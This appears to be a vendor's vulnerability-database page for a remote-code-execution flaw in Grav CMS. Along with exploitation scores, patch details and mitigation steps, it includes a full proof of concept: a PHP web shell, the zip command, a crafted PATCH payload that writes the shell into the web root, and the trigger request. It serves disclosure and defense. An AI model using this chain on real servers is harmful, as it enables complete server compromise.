Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-72819 — getgrav/grav

CVE-2026-72819 is a Code Injection vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav CMS before 2.0.13 Remote Code Execution via ZIP Upload

Also known asGHSA-r94f-hx44-8jqf
Published
Aug 14, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-72819.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC

  1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.

  2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.

    Zip the shell.php file with the php code mentioned below:

    shell.php:  <?php system($_GET['c']); ?>
    zip evil.zip shell.php
    
  3. Send the request (attach your Cookie and X-API-Token):

    PATCH /api/v1/config/plugins/flex-objects
    Content-Type: application/json
    
    {
      "directories": ["user/config/plugins/flex-objects.yaml"],
      "title": "Pwn",
      "type": "flex-objects",
      "config": { "data": {
        "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
        "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
        "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
        "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                     "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                  "folder": "user-data://flex-objects/pwn.json" } } } },
      "form": { "validation": "loose", "fields": {
        "name": {"type": "text", "label": "Name"},
        "pwn":  {"type": "text", "label": "pwn",
                 "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                   "user/media/evil.zip",
                                   "/absolute/path/to/grav-docroot"]} } }
    }
    
  4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

    POST /api/v1/flex-objects/flex-objects
    Content-Type: application/json
    
    {"name": "x"}
    -> 201
    
  5. Open the file that was written:

    http://TARGET/shell.php?c=id
    -> PWNED:uid=1000(kali) gid=1000(kali) ...
    

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.13composer require getgrav/grav:^2.0.13

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 2.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-72819 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs. ### Details The check rejects known-dangerous routines and, for
O3 Security · Impact-Aware SCA

Is CVE-2026-72819 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-72819: getgrav/grav RCE | O3 Security